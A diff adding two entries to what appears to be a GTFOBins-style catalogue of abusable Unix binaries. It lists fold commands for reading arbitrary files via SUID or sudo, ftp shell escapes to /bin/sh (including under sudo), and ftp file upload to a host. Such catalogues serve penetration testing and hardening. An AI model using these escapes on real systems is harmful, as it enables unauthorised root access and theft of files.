gtfo/data/fold.json ADDED
@@ -0,0 +1,19 @@
1
+ {
2
+ "functions": {
3
+ "file-read": [
4
+ {
5
+ "code": "fold -w99999999 [file]\n"
6
+ }
7
+ ],
8
+ "suid": [
9
+ {
10
+ "code": "./fold -w99999999 [file]\n"
11
+ }
12
+ ],
13
+ "sudo": [
14
+ {
15
+ "code": "sudo fold -w99999999 [file]\n"
16
+ }
17
+ ]
18
+ }
19
+ }
gtfo/data/ftp.json ADDED
@@ -0,0 +1,26 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "ftp\n!/bin/sh\n"
6
+ }
7
+ ],
8
+ "file-upload": [
9
+ {
10
+ "description": "Send local file to a FTP server.",
11
+ "code": "ftp [host]\nput [file]\n"
12
+ }
13
+ ],
14
+ "file-download": [
15
+ {
16
+ "description": "Fetch a remote file from a FTP server.",
17
+ "code": "ftp [host]\nget [file]\n"
18
+ }
19
+ ],
20
+ "sudo": [
21
+ {
22
+ "code": "sudo ftp\n!/bin/sh\n"
23
+ }
24
+ ]
25
+ }
26
+ }